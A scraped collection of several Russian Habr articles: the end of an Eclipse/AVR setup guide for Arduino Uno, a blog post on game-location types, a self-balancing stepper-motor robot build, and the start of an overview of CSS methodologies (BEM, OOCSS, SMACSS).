жмем кнопку «Add» и добавляем новую конфигурацию для программатора. Для этого в открывшемся окне меняем имя и описание конфигурации (для порядка). Выбираем Arduino в списке «Programmer Hardware (-c)». В поле «Override default baudrate (-b)» выбираем значение **115200** а в поле «Override default port (-P)» должно стоять значение **/dev/ttyACM0** (Порт к которому подключен Arduino, может отличатся от моего. Подсмотреть значение порта можно в Arduino IDE).
[](http://habrastorage.org/storage/habraeffect/50/c2/50c20d1fe28033bf2245e6fa7765d648.jpg "Настройка программатора")
Жмем OK. Потом еще раз OK.
Создаем проект для Arduino
==========================
Для первого проекта нам придется настроить проект ручками. Поэтому я рекомендую создать этот проект как «базовый» проект для Arduino, а потом копировать его по необходимости.
**2.1** В Eclipse, идем в меню (*File → New → Project…*), выбираем «C Project» и кликаем Next.
**2.2** Называем дитя, в моем случае ArduinoUno и выбираем тип проекта, у нас должен быть «**AVR Cross Target Application**«. Кликаем Finish.
**2.3** Выбираем наш проект в окне «Project Explorer» и идем менять настройки проекта (*Project → Properties*). В левой области открывшегося окна находим закладку AVR, разворачиваем ее.
**2.4** Кликаем на AVRDude, выбираем конфигурацию программатора (мы создали ее ранее).
**2.5** Подключаем Arduino к компу при помощи USB кабеля. Убеждаемся что Arduino включен.
**2.6** Слева кликаем на Target Hardware. Справа видим кнопку «Load from MCU», нажимаем ее. MCU Type и частота должны изменится на подходящие к вашему микроконтроллеру. Сверяем тип с надписью на кристалле, если совпадает — хорошо. Если автоматически опознать контроллер не удается, курим описание к [железу](http://arduino.cc/en/Main/Hardware) и выставляем значения руками. В случае с Uno тип опознается как ATmega328P и частота 16МГц.
**2.7** Закрываем окно Properties, нажав на OK.
Создаем библиотеку для Arduino Uno
==================================
Для каждого проекта с Arduino нам понадобится библиотека ядра. Есть несколько способов ее достать, самый быстрый это вытянуть его из оригинальной среды разработки Arduino. Чем мы сейчас и займемся.
**3.1** Стартуем [Arduino IDE](http://arduino.cc/en/Main/Software)
**3.2** Выбираем наше железо (*Tools → Board → …*) В данном примере выбираем Arduino Uno.
**3.3** Загружаем любой пример кода, например Blink (*File → Examples → Basics → Blink*).
**3.4** Жмем на кнопку Verify
**3.5** Теперь идем в папку где лежит нужная нам библиотека. Искать ее надо в папке /tmp/buildXXXXXXXX.tmp/ где XXXXXXXXX — куча цифр. Если таких папок несколько, стираем все директории и goto 3.4
**3.6** Переименовываем файл core.a в libArduinoUnoCore.a
**3.7** Перетаскиваем файл в наш Eclipse проект и бросаем его туда.
Настраиваем билд
================
Теперь осталось только сделать несколько настроек для успешного билда и все готово.
**4.1** В Eclipse нажимаем Alt + Enter и попадаем в настройки проекта.
**4.2** Идем в ветку C/C++ (*Build → Settings*). В закладке Tool Settings выбираем пункт Additional Tools in Toolchain и ставим галочки напротив
* Generate HEX file for Flash memory
* Print Size
* AVRDude
**4.3** Убираем галочку у пункта Generate Extended Listing. Получается вот так:
[](http://habrastorage.org/storage/habraeffect/69/dc/69dcdf895226193ff782bbbbcde2f0a0.jpg "Настройка билда")
**4.4** Идем в закладку AVR Compiler, кликаем на нее и меняем значение поля Command с «avr-gcc» на «avr-g++».
**4.5** Далее идем в ветку *AVR Compiler → Directories*, добавляем путь где можно будет найти заголовочные файлы к нашей libArduinoUnoCore.a. Нужный нам путь лежит в папке с Arduino IDE. У меня …/arduino-0022/hardware/arduino/cores/arduino/ (многоточие заменить на ваш путь до IDE). Вот этот путь мы и указываем компилятору.
[](http://habrastorage.org/storage/habraeffect/1a/b8/1ab864479e51a5bfc1ac118f8c5254f9.jpg "Настройка компилятора")
**4.5** Далее идем в ветку *AVR Compiler → Debugging*, выставляем значение Generate Debugging Info на No debugging Info.
**4.6** Идем в ветку *AVR Compiler → Optimization*, выставляем значение Optimization Level на Size Optimizations (-Os)
**4.7** В ветке *AVR Assembler → Debugging*, выставляем значение Generate Debugging Info на No debugging Info.
**4.8** В ветке AVR C Linker → General, в поле Other Arguments пишем «--cref -Wl,-gc-sections». Это должно уменьшить HEX файл раза в четыре.
**4.9** И последние штрихи в *AVR C Linker → Libraries*: * Добавляем библиотеку «ArduinoUnoCore» в Libraries (-l)
* Добавляем путь в Libraries Path (-L), в этом проекте «**${workspace\_loc:/ArduinoUno}**«
получается вот так:
[](http://habrastorage.org/storage/habraeffect/19/ae/19ae9ad8b1dba306427dd1dbc3fccd7d.jpg "Настройка линкера")
Создаем main.c
==============
Ну вот мы и добрались до заветного main файла. Как мы помним из Arduino IDE, там нам надо создать две функции и все работает (setup и loop). В нашем проекте нам надо написать больше кода и я предлагаю просто создать в проекте новый файл с именем main.c (File → New → Source File). И вставить в него следующий код:
> /\*
>
> \* main.c
>
> \*
>
> \* Created on: 12.01.2011
>
> \*
>
> \* Basic main file for the Arduino Project.
>
> \*/
>
> #include «WProgram.h»
>
> // Global variables
>
> int g\_LedPin = 13; // LED on digital pin 13
>
> void setup()
>
> {
>
> // opens serial port, sets data rate to 9600 bps
>
> Serial.begin(9600);
>
> // sets the pin as output
>
> pinMode(g\_LedPin, OUTPUT);
>
> Serial.println("\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*");
>
> Serial.println("\* hello world \*");
>
> Serial.println("\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*");
>
> }
>
> void loop()
>
> {
>
> digitalWrite(g\_LedPin, HIGH); // set the LED on
>
> delay(1000); // wait for a second
>
> digitalWrite(g\_LedPin, LOW); // set the LED off
>
> delay(1000); // wait for a second
>
> }
>
> extern «C» void \_\_cxa\_pure\_virtual()
>
> {
>
> while(1);
>
> }
>
> int main(void)
>
> {
>
> init();
>
> setup();
>
> //endless loop
>
> for (;;)
>
> {
>
> loop();
>
> }
>
> return 0;
>
> }
Вставив код, нам осталось только построить наш проект. Но думаю что с этим вы справитесь сами. И еще, в предложенном варианте, размер HEX файла соперничает с оригинальной средой разработки для Arduino. | https://habr.com/ru/post/111908/ | null | ru | null |
# Игровые локации, или как сюжет раскрывается через окружение в современных играх
**Ребята, всем привет!!!**
Сегодня поговорим о локациях, а именно какими они бывают, на что должны обратить внимание игрока и какой посыл они несут. Как они подразделяются на различные виды и что характерно для каждой из них. Обо всем этом мы расскажем тебе в этом посте, так что не переключайся.
`⁉️Интересно? Тогда заваривай чаек, бери на руки своего котана и погнали!!!`
То, что мы видим, когда погружаемся в игровой мир новой стрелялки, "бродилки", "симммулятора", стратегии, "экшена" и или, во что вы там любите еще играть после работы, учебы, на работе на учебе ;)) и что притягивает наше первое внимание, так это окружение и тот мир куда мы попадаем - это и есть игровая локация.
`Для начала оценим масштаб происходящий событий`
Локации могут динамически появляться, как маленькие кусочки огромного мира постепенно открывая всю карту, так например сделано во множестве онлайн игр с открытым миром. Среди наиболее известных это различные вариации MMORPG, так как ArcheAge, Lost Ark, SkyForge, CrossOut, [Dragon Knight](http://www.supermmorpg.ru/go/Dragon-Knight/) 2, [Rise of Angels](http://www.supermmorpg.ru/go/Rise-of-Angels/), [World Of Tanks](http://www.supermmorpg.ru/go/World-Of-Tanks/).
Локации могут быть самыми разнообразными, но все они должны передавать дух игры и помогать "разворачивать" сюжетную линию игры (Фото: https://store.my.games, ArchAge)
Как бы ним была устроена локация, она должна максимально "погружать" пользователя в игровой мир и сделать "пребывание" в этом мире максимально комфортным, интересным и захватывающим (Фото: https://la.mail.ru, Lost Ark).
Окружение, помимо чисто эстетической цели, служит еще и определенным вектором при "прохождении" игры, оно направляет игрока по сюжетной линии, иногда помогая ему, а иногда и препятствуя, дабы усилить игровой момент и чувства преодоления препятствий. Этот эффект позволяет игроку понять, что будут как сложности так легкие участки, ну а по завершению его ждет желанная награда за успешно выполненные задания. (Фото: https://mmo13.ru, Justice).
Так же есть локации с фиксированным размером, это характерно для игр имеющих четкую сюжетную линию, ограниченное число уровней, и способов взаимодействия игрока с этим миром. Сюда можно отнести практически все игры, которые предназначены либо для индивидуального прохождения, либо для парного. Среди наиболее популярных можно назвать такие: CyberPunk 2077, Vangers: One of the Road, Warhammer: Dark Omen, Heroes 3 и т.д.
Локации всегда представляются чем-то масштабным, здесь задействована огромная работа художников по окружению, специалистов по моделированию, в основном hard surface, программистов, текстурщиков, специалистов по рендеру, свету, и многих других. Вся их работа направленно на то, чтобы на вашей "машине" игрушка взлетала на ура и не тормозила, и конечно же приятно радовала глаз (Фото: https://www.cyberpunk.net, CyberPunk).
Что же теперь перейдем к более детальной классификации, и рассмотрим какое-именно окружение бывает и какие цели должно преследовать. И так, локации условно делят на следующие виды:
#### Пустые и заселенные
На первом месте у нас значатся различные заброшенные здания, техника, заводы и целые города или жилые помещения и обитаемые местности, где присутствуют игровые персонажи или простые жители, а также представители животного и растительного мира. Среди наиболее известных игры в этом жанре "стоят" такие скалы игромира как: Stalker: Shadow Of Chernobyl, Silent Hill, Mist Survival, Necromunda
Локации подобного рода присутствуют в играх типа хоррора, ужастиков, артхаус, шутеры, выживания и многих других. Главная цель таких локаций создать ощущение покинутости пространства, ненужности, отрешенности, создать следы былой "кипучей" деятельности человека и предать окружению ореол мистики (Фото: https://technomode.ru)
Развалившиеся постройки, беспорядок, общий хаос и постоянное разрушение и гниение вот, что подчеркивает данные локации (Фото: https://www.kinonews.ru, Necromunda)
#### Опасные и безобидные
Если цель игрока выброс адреналина, можно выбрать локацию, где каждый персонаж желает вашей смерти по любым причинам и, напротив, может стать вашим спутником или напарником. Сюда также относятся различные "выживалки" и хорроры, типа Dead by Daylight, Days Gone, Rust.
Общая черта таких локаций, заключается в том, что пространство, не приветствует игрока в этом мире, оно ему враждебно, оно давит на него своей пустотой и мрачностью, стягиваясь вокруг него в плотный клубок безысходности, пустоты и непроглядной тьмы (Фото: https://news.xbox.com, Dead By DayLight)
Пустота, в таких локациях вообще играет важную роль, она должна создавать ощущение "холода" у игрока и олицетворять постоянное неведомое присутствие кого-то кроме самого игрока, но максимально неуловимого. За каждым деревом, кустом, коробкой, зданием за игроком кто-то постоянно наблюдает...
#### Природные локации
Здесь, в отличие от предыдущих вариантов, должно наблюдаться единение игрока с природой, наслаждение ею. Вариации могут быть самые разные: снежные, лесные, пустынные, водные, морские, пустыми, тундры, тайга и т.д.
В таких локациях можно наблюдать погодные аномалии, побродить по густым, непроходимым джунглям и столкнуться с дикими видами растений и животных. Это окружение, как правило, одноцветное с преобладающими красками одной гаммы или красками естественного мира.
Пространство этого окружения наполнено воздухом, движением и жизнью в целом. Среди игр, где эти черты наиболее удалось выразить это: Ведьмак 3 "Дикая охота", Assassin’s Creed, Ori and the Blind Forest, The Vanishing of Ethan Carter, Uncharted 4: A Thief’s End.
Максимально природные черты и фотореализм, горы, леса поля, буйство жизни, буйство красок все это подчеркивает природные локации (Фото: https://pluggedin.ru, Ведьмак 3).
Окружение может быть реально-существующим или выдуманным, но должно точно передавать ощущение действительности мира, в котором находится игрок. (Фото: https://pluggedin.ru, Assassin’s Creed).
Общий подход характерен не только для 3D игр, но и для 2D (Фото: https://pluggedin.ru, Ori and the Blind Forest).
### Теперь давайте плавно перейдем к описанию различных вариаций игровых миров?
#### Мир апокалипсиса
Направление пришло к нам родом из США, да-да именно оттуда, эти ребята вечно к чему-то готовятся и строят бункеры на заднем дворе. Итак, геймер переносится в мир, где вода и еда имеют иное значение, чем в реальной жизни, а особая атмосфера позволяет по-другому оценить реальность и ценность находящихся в ней ресурсов.
Как правило, здесь следует короткая предыстория, что была грандиозная война, или из лаборатории сбежала мышь с неведомой заразой и покусала всех в округе, либо эксперимент в одном из подпольных военных цехов пошел не по плану. В общем, ты понял(-а) что-то явно с утра не задалось, и тут понеслось.
Вариаций апокалипсиса тоже может быть, исходя из сюжетной линии, миллион с маленькой тележкой: ядерный, зомби, биологический, инопланетный, техногенный, климатический, но особенные эмоции вызывает «отечественный» так сказать с отблеском местного колорита, вроде Мetro 2033.
Общий настрой таких локаций борьба за жизнь, существование в рамках одной персоны, небольшой коммуны или целого города. Среди классиков жанра можно выделить: Dead Rising 3, DayZ, State of Decay 2, Dying Light, Dead Frontier 2, **Miscreated.**
Мир в таких играх не всегда представляется чем-то враждебным, это всегда пост-результат деятельности человека, и когда человек уходит, природа начинает "забирать" себе территорию (Фото: https://www.playground.ru, DayZ).
Либо это совсем "невосстановимая" природа, уничтоженная под корень и не в состоянии прийти в нормальное русло в следствии множества факторов: ядерная зима, отравление токсичными отходами, радиоактивное загрязнение или изменение климата в целом в худшую сторону (Фото: https://overclockers.ru/, Metro 2033).
#### Античность и первобытность
Добро пожаловать в каменный век и эпоху неолита, чтобы почувствовать себя цезарем или дикарем с огромной дубиной на перевес, попасть в гущу военных действий до нашей эры и даже взрастить собственную цивилизацию или, например, когда хочется, чего-то простого, например, поохотиться в первобытном лесу.
Правильно, "нарубил мамонтов", принес в пещеру, женщину в охапку и в соседнее племя на дискотеку. Или быть мэром и править городами, создавать цивилизации и настраивать международные связи. Все это вы можете ощутить если поставите на свою "тачку" такие игрушки: Ceasar 4, Cleopatra, Far Cry Primal, Эсцилон.
Строительство городов, построение экономики, решение внешполитических и внутри-экономических вопросов все, здесь зависит от игрока, забота о городе, гражданах вот что здесь главное. Хочешь почувствовать себя мером или церем тогда тебе сюда. (Фото: https://store.steampowered.com, Ceasar 4).
Первобытные времена, борьба с природой и соплеменниками, мелкие войны, сражения с дикими животными, все это и многое другое предлагается для игрока. Цивилизация еще только зарождается, и ты ее начало. Дерзай!!! (Фото: https://mygamehunter.ru)
#### Мир киберпанка
Переносит игрока в мир будущего, который демонстрирует проблемы прогресса, робототехники и виртуальной реальности. Показывает несовершенство общества в будущем, которое имеет место здесь и сейчас.
Здесь приветствуются различные улучшения и модификации тела и отдельных его частей, много неона всех мастей и расцветок, бегущие надписи, строки, голограммы, необычные и футуристичные наряды, различные отсылки на азиатские страны: Япония, Сингапур, Китай, Малазия, которые ужа давно живут в 23 веке. Самым ярким представителем, на сегодняшний день, конечно же является CyberPunk 2077, за ним следует Deus Ex: Mankind Divided, Remember Me, Hard Reset, Observer, Watch Dogs 2.
Неоновые лампы, симбиоз человека и машины, бурное развитие технологий, ты уже в будущем дружище! (Фото: https://cubiq.ru, Hard Reset)
Открытые рынки азиатского типа, мелкая торговля, множество магазинчиков, пестрящих разноцветной рекламой, яркие, броские цвета, мегакорпорации, модификации всех цветов и расцветок. Добро пожаловать в мир киберпанка!!! (Фото: https://cubiq.ru, Deus Ex: Mankind Divided)
#### Мир стимпанка
Ну что, уважаемый(-ая) если ты фанат(-ка) паровых двигателей, корсетов, шикарных нарядов и винтажного обмундирования тебе открыта дорога в мир стимпанка! Он отражает мир прошлого или настоящего с более совершенными технологиями, то есть как бы могло быть, если бы у нас не было ядерной энергии, полезных ископаемых и прочих "прелестей" прогресса. Как наш мир, который мог бы быть лучше, а может и нет.
Здесь все не так как у нас: необычная одежда, мебель, средства передвижения (наземные, воздушные, подводные). Здесь все подчиненно внутреннему состоянию прекрасного и даже немного эстетства. Вспомнить только: дамы в оригинальных шляпках, трости, старые винтовки, чертежи, механизмы вот прямо от слово механика, а не электроника и много чего еще, что находится на стыке будущего и прошлого, минуя настоящее. Благодаря этой идеи появилось множество чудесных игр: Warpstorm, Black Gold Online, Bioshock.
Шестеренки, старые заводские фонари, мебель, многочисленные трубы, вентиля, схемы и чертежи, и много других элементов должны отражать дух времени века, эдак, 17-18, но с переходом в будущее, как будто развитие технологий пошло по другому руслу. (Фото: https://grandgames.net, Warpstorm)
Корабли морские, переделанные под космические корабли, флаги, трюмы, мачты, различные старые машины, портовая атрибутика, старые кабаки и таверны - один из ярких примеров в стиле стимпанк. (Фото: Black Gold Online)
#### Мир фэнтези
Универсальный жанр, который передает настроение выдуманной сказки, покоряет разнообразием сюжетов и способен тонко передать нотки готики и мрачности, когда это нужно. Здесь вы найдете обилие красок, очень характерно наличие всяких магических вещей, китайцы прям любят этот сеттинг.
Для этого окружения характерно сочетание различных стилей, но все же упор ставится на старые времена, когда были рыцари, маги, колдуны, шаманы, лучники, короли много мистики и таинственности. Для окружения берутся замки (реальные/нереальные), деревни, села, в общем полное погружение в средневековье с большим количеством магии.
Здесь, прям есть где разгуляться: Dragon Age: Origins, Gothic, Titan Quest, Middle-Earth: Shadow of Mordor, Neverwinter Nights, The Elder Scroll 5: Skyrim, World of Warcraft: Wrath of the Lich King и т.д.
Проселочные дороги, неровные каналы и мосты, покосившиеся заборы, горные селения все для того чтобы передать дух средневековья с частицей магии, которая пронизывает все. (Фото: https://onyxgame.com, Brothers: A Tale of Two Sons)
Замки джинов, магов, священные и тайные писания хранящиеся высоко в горах, заснеженные пики и изобилие запретных царств (восточных, азиатских), вот такое фэнтези и вызывает восторг у игрока (Фото: https://onyxgame.com, World of Warcraft)
#### Наш мир
Наконец, наш мир, его прототипом стали локации нашей планеты, пусть иногда эти места и не существуют на самом деле, но все же они максимально были приближены к реальности и создают ощущение у игрока что это происходит здесь и сейчас. Здесь можно выделить например GTA5, Jusсt Cause 3, Far Cry 3, Sleeping Dogs.
Все максимально реалистично, это наш мир, без малейшей тени на выдумку (Фото: https://gamingda.wordpress.com, Slepping Dogs)
Тоннели, мосты, метро, трафик, все взято из нашего мира, никаких сверх-способностей только умение взаимодействовать с этим миром (Фото: Watch Dogs)
Итак давайте подытожим наш рассказ: назначение игровых локаций в том, чтобы вызывать эмоции и желание исследовать мир. Окружение помогает изучать механики и облегчает навигацию, заставляет поверить в то, что происходит на экране и способно манипулировать решениями и рефлексами игрока. Даже пространство, в зависимости от того открытое оно, закрытое и полузакрытое по-разному влияет на развитие сценария.
Окружающая атмосфера может давить, вызывать страх и интерес из-за звукового сопровождения, тона красок, графики и погодных условий. Или, наоборот, вызывать восхищение от реалистичности мира вокруг. Даже если сюжет захватывает с первых минут, он происходит с персонажами, а игроку важны детали и атмосфера происходящего.
Подписывайтесь на наш канал, делитесь новостями со всеми, ставьте лайки поддерживайте наш канал, пишите комментарии. Ваш AnomalyImage. По вопросам сотрудничества (реклама, PR, разработка, консультации, и многое другое) писать на почту с указанием в названии темы письма.
Mail: anomalyimage@yandex.ru
[Дзен](https://zen.yandex.ru/id/601a8b5e6177105e7dfd3176)
[Телеграм](https://t.me/anomalyImage) | https://habr.com/ru/post/548034/ | null | ru | null |
# Балансирующий робот на Arduino Nano и шаговых моторах
### Предыстория
Некоторое время назад я сделал [обратный маятник](https://habr.com/ru/post/472588/). После нескольких итераций с шаговыми моторами равновесия достичь не удалось. Тогда у меня было мало опыта и понимания проблемы, поэтому я переделал его с мотором постоянного тока, как большинство учебных проектов. Однако, [встречаются статьи](https://www.bluino.com/2021/06/membuat-self-balancing-robot-dikontrol.html) о том, как сделать балансирующего робота на шаговых моторах. По сути это одна и та же задача, поэтому я к ней решил вернуться и разобраться с прошлых неудачах. Ниже я опишу все, что нужно знать, чтобы сделать своего робота, и трудности, с которыми столкнулся.
Постановка задачи
-----------------
Сделать балансирующего робота из доступных компонентов с возможностью управления и дальнейшего расширения как платформы.
Используемое железо:
* Arduino Nano ([Keywish BLE-Nano](https://www.aliexpress.com/item/33006686263.html)) последовательный порт аппаратно проброшен через Bluetooth, что устраняет расходы процессора на коммуникацию. Можно использовать классический контроллер Arduino Nano, код совместим, но не будет управления
* [MPU6050](https://www.aliexpress.com/item/32340949017.html) - популярный инерциальный модуль для определения угла наклона робота
* [A4988](https://www.aliexpress.com/item/10000278156894.html) x2 - драйверы шаговых моторов
* [Nema17 motor](https://www.aliexpress.com/item/4000329570564.html) x2 - шаговые моторы
Цена компонентов: ~75$
В чем привлекательность использования шаговых моторов? В задачах удержания равновесия нужно создавать силу, действующую на тело робота или стержень, в случае обратного маятника. Значит, нужно управлять угловым ускорением вала. В случае с шаговыми моторами это можно сделать программно, без обратной связи, если предположить, что двигатель не пропускает шаги. Однако, тут важно своевременно формировать импульсы на шаг. Об этом речь пойдет ниже. В случае с коллекторным мотором нужен энкодер для обратной связи и контур управления моментом.
Мат. модель
-----------
Движение робота описывается следующими уравнениями:
где R - радиус колеса; I = 1/2\*M\*R^2 - момент инерции колеса; b1 - трение в оси колеса; b2 - трение качения.
Моделирование с разными способами управления приводится [здесь](https://www.kaggle.com/zjor86/simulations-self-balancing-robot). Так, например, выглядит свободная модель без трения и управления, и со стабилизацией.
Свободная модель без управленияМодель со стабилизацией по положениюАлгоритм стабилизации
---------------------
Для удержания равновесия нужна обратная связь по углу, а чтобы робот не уехал со стола в процессе отладки, нужно занулить скорость, поэтому схема выглядит так:
Контур скорости задает желаемый угол, а внутренний контур его достигает. В реальности координата X не измеряется, в ходе вычислений уже есть скорость V, которую, как предполагается, шаговый мотор точно выдает.
### Управление скоростью
Управление скоростью автоматически получилось по схеме выше: чтобы заставить робот ехать вперед или назад, нужно задать входную скорость.
Но как быть с поворотом? Если добавить константу скорости прямо на двигатель, это не повлияет на равновесие, т.к. ускорение не изменится. Предполагается, что скорость, которую задает пользователь, изменяется гораздо медленее, чем реагирует робот на изменение угла. Тогда для поворота можно добавить скорость к одному двигателю и вычесть у другого. Стоит обратить внимание на насыщение мотора, если поворачивать очень быстро, то при попытке балансировать скорости на одном колесе сложатся, момент упадет, и двигатель начнет пропускать шаги; либо контроллер не будет успевать генерировать импульсы с достаточной частотой.
Сложности реализации
--------------------
Управлять шаговым мотором просто, когда скорость не критична. В данном случае, нужно управлять ускорением, поэтому следует учесть два параллельных процесса: подача импульсов для шага и пересчет задержки между шагами.
Оценим требуемую частоту импульсов на шаг. Пусть максимальная скорость - 1 оборот в секунду (при колесе от роликов диаметром 72мм, ~22 см/с), двигатель настроен в режиме 1/8 шага, 1600 импульсов на оборот, значит, как минимум процесс, отправляющий импульсы на шаг должен работать с частотой 1.6kHz, причем время должно выдерживаться точно, значит, нужно использовать прерывания по таймеру. Но достаточно ли этого?
Здесь возникает понятие - разрешение (resolution) по скорости, т.е. насколько малые приращения по скорости контроллер способен выдать. Задержка между шагами - это целое количество прерываний таймера (1.6kHz, 800Hz, 533Hz, 400Hz, ...) Программой ниже можно оценить насколько точно можно аппроксимировать желаемые изменения скорости в зависимости от частоты прерываний.
Код
```
import numpy as np
import matplotlib.pyplot as plt
from math import pi
PULSES_PER_REVOLUTION = 1600
def get_physical_velocity(velocity, frequency):
ticks_per_pulse = round(2.0 * pi * frequency / (velocity * PULSES_PER_REVOLUTION))
return 2.0 * pi * frequency / (ticks_per_pulse * PULSES_PER_REVOLUTION)
times = np.linspace(0, pi, 1000)
velocities = np.sin(times)
physical_velocities = list(map(lambda x: get_physical_velocity(x, 1600), velocities))
physical_velocities_2 = list(map(lambda x: get_physical_velocity(x, 50000), velocities))
plt.plot(times, velocities)
slow_label, = plt.plot(times, physical_velocities, label="1.6kHz")
fast_label, = plt.plot(times, physical_velocities_2, label="50kHz")
plt.legend([slow_label, fast_label], ['1.6kHz', '50kHz'])
plt.grid(True)
plt.show()
```
Аппроксимация скорости шаговым моторомтоесть, чем ниже частота, тем хуже можно аппроксимировать скорость в области высоких скоростей, что для робота будет равносильно удару. Я использовал 50kHz. Стоит помнить, что чем выше частота прерываний таймера, тем медленнее работает основной цикл.
Второй процесс - рассчет задержки между шагами, в идеальном случае, если робот движется с ускорением, то после каждого шага нужно пересчитать задержку до следующего шага, т.е. это было бы правильно делать прямо в обработчике прерывания таймера, но формула содержит деление `ticks_per_pulse = round(2.0 * pi * frequency / (velocity * PULSES_PER_REVOLUTION))`, и обработчик может не успеть закончить работу до наступления след. прерывания. Поэтому задержка пересчитывается в основном цикле как можно чаще.
Несколько советов, как ускорить программу:
* `Wire.setClock(1000000UL);` - ускоряем коммуникацию с MPU6050
* Использовать DMP (Digital Motion Processor) встроенный в MPU6050, а не реализовывать комплиментарный фильтр или фильтр Калмана, это дало ускорение обработки основного цикла в 5 раз (2.5kHz)
* Использовать пин прерывания на IMU и читать данные только тогда, когда закончена обработка, чтобы не опрашивать его постоянно, это ускорило основной цикл еще в 8 раз до 19kHz
* не забыть откалибровать IMU, иначе измерения угла все время будут плыть.
Код проекта доступен [здесь](https://github.com/zjor/balancing-robot/tree/master/nano/twbr-nano).
Схема
-----
Ниже [схема](https://easyeda.com/zjor.se/balancing-robot), по которой я заказал печатную плату в JLPCB. Хотелось бы получить обратную связь от опытных схемотехников, особенно по части разведения питания.
Результат
---------
Т.к. в BLE-Nano встроен Bluetooth, и не надо писать дополнительный код, легко добавить управление. Я переделал [SerialTerminal](https://github.com/kai-morich/SimpleBluetoothTerminal) под Android и сделал из него [пульт управления](https://github.com/zjor/balancing-robot/tree/master/android/serial-ble-rc/SimpleBluetoothLeTerminal).
План дальнейшего развития:
* Сделать расширяемую платформу (другой контроллер или Raspberry будет делать всю высокоуровневую работу, а Nano будет предоставлять API по настройке и управлению)
* Добавить сенсоры (препятствий, линии под роботом, микрофон, камеру)
* Добавить индикаторы (заряда батареи, угла, скорости)
* Присоединить телефон и установить конференц-связь
Буду рад, если кто-то захочет присоединиться.
Ссылки
------
1. [Код проекта](https://github.com/zjor/balancing-robot)
2. [Симуляции на Kaggle](https://www.kaggle.com/zjor86/simulations-self-balancing-robot)
3. [Схема на easdyEda](https://easyeda.com/zjor.se/balancing-robot)
4. [Подобная реализация робота](https://trandi.wordpress.com/2017/09/19/self-balancing-robot-v4/)
5. [Как работать с акселерометром и DMP](https://www.geekmomprojects.com/mpu-6050-dmp-data-from-i2cdevlib/) | https://habr.com/ru/post/575662/ | null | ru | null |
# Способы организации CSS-кода
Разработчик Бен Фрейн (Ben Frain) однажды заметил: «Писать CSS-код легко. Масшабировать и поддерживать его — нет».
К счастью, на просторах интернета можно найти множество решений этой проблемы. В данной статье рассмотрены основные киты структуры CSS-кода, а также интересные рыбы/млекопитающие поменьше.
Статья служит лишь памяткой или кратким справочником — для подробного ознакомления с методологиями настоятельно рекомендуется изучать оригинальную документацию.
Итак, начнем.
Содержание
----------
* [БЭМ](#bem)
* [OOCSS](#oocss)
* [SMACSS](#smacss)
* [Atomic CSS](#atomic)
* [MCSS](#mcss)
* [AMCSS](#amcss)
* [FUN](#fun)
* [Заключение](#sum)
БЭМ
---

Автор: [Яндекс](https://ru.bem.info/authors/)
[Документация](https://ru.bem.info/)
Пожалуй, самая популярная сейчас методология в мире. Название означает «Блок, элемент, модификатор».
Эти категории играют следующие роли в коде:
* **блоки** могут использоваться в нескольких местах сайта;
* **элементы** являются частью блока и не имеют функционального смысла вне блока;
* **модификаторы** представляют собой свойства блока или элемента, которые меняют его внешний вид или поведение.
Из этих категорий строятся классы для непосредственного использования в CSS. При этом не следует использовать селекторы тэгов (это потенциально может помешать использовать блок/элемент в каком-то нестандартном месте на сайте, т.е. привязывает сущность к контексту); рекомендуется также избегать каскадных селекторов, т.к. получившийся класс сам по себе достаточно точно (специфично) выбирает соответствующий элемент.
Такой подход позволяет избавиться от непредсказуемых последствий каскада и изолирует отдельные модули друг от друга.
Пример кода в стиле БЭМ:
```
.block_element {...}
.block_element-modifier {...}
```
Для удобства используются разные разделители между блоком и элементом и между блоком/элементом и модификатором; при этом можно использовать любые разделители, однако они должны быть одинаковыми в рамках одного проекта.
А теперь о бочках меда и ложках дегтя:
* Хорошо: изолированность модулей друг от друга и отсутствие непредсказуемых каскадов селекторов.
* Плохо: не всегда длинные названия классов удобны для использования (для крупных проектов есть смысл использовать [инструменты](https://ru.bem.info/tools/bem/bem-tools/), автоматизирующие работу с БЭМ-разметкой).
Кстати, для написания кода в таком стиле раньше часто рекомендовали препроцессор Stylus, так как он позволяет писать код так:
```
.block {
&-element {...}
}
```
Сейчас так можно писать, используя как SASS, так и LESS.
И еще одно замечание — в оригинальной методологии БЭМ используются названия модификаторов, содержащие саму модифицируемую величину, например, button--sizeLarge. Сейчас в небольших проектах многие разработчики не указывают ее для лаконичности: button--large.
[Здесь](http://clubs.ya.ru/bem/replies.xml?item_no=1398) можно почитать про историю создания БЭМ.
OOCSS
-----

Автор: [Николь Салливан (Nicole Sullivan)](http://www.stubbornella.org/content/nicole-sullivan/)
[Презентация](http://www.slideshare.net/stubbornella/object-oriented-css)
OOCSS означает объектно-ориентированный CSS (Object-Oriented CSS). В этот подход заложены две основные идеи:
* Разделение структуры и оформления
* Разделение контейнера и контента (содержимого)
Итак, «разделяй и властвуй». С помощью такой структуры разработчик получает общие классы, которые можно использовать в разных местах.
А теперь — две новости (как водится, хорошая и плохая):
* Хорошая: уменьшение количества кода за счет повторного его использования (принцип DRY).
* Плохая: достаточно сложная поддержка: при изменении стиля конкретного элемента скорее всего придется менять не только CSS (т.к. большинство классов общие), но и добавлять классы в разметку.
Кроме того, сам подход OOCSS предлагает не конкретные правила, а абстрактные рекомендации, поэтому метод достаточно сложен для применения на практике.
Зато, как это иногда случается, некоторые идеи OOCSS вдохновили авторов на создание своих, более конкретных, способов структурирования кода — своеобразных форков OOCSS.
SMACSS
------

Автор: [Джонатан Снук (Jonathan Snook)](https://smacss.com/book/about)
[Документация](https://smacss.com/)
SMACSS расшифровывается как «масштабируемая и модульная архитектура для CSS» (Scalable and Modular Architecture for CSS).
Основная цель подхода — уменьшение количества кода и на упрощение поддержки кода.
Итак, Джонатан предложил разделить стили на 5 частей (в порядке включения их в документ):
1. **Base rules** — базовые стили. Это стили основных элементов сайта — body, input, button, ul, ol и т.п. В этой секции используются в основном селекторы тэгов и атрибутов, классы — в исключительных случаях (например, если у вас стилизованные JavaScript’ом селекты);
2. **Layout rules** — стили макета. Здесь находятся стили глобальных элементов размеры шапки, футера, сайдбара и т.п. Джонатан предлагает использовать здесь id в селекторах, так как эти элементы не будут встречаться более 1 раза на странице. *Однако автор статьи считает это плохой практикой (каждый раз, когда в стилях появляется id селектор, где-то в мире грустит котенок). Используйте классы и будет вам счастье.*
3. **Modules rules** — стили модулей, то есть блоков, которые могут использоваться несколько раз на одной странице. Для классов модулей не рекомендуется использовать id и селекторы тэгов (для многократного использования и независимости от контекста соответственно).
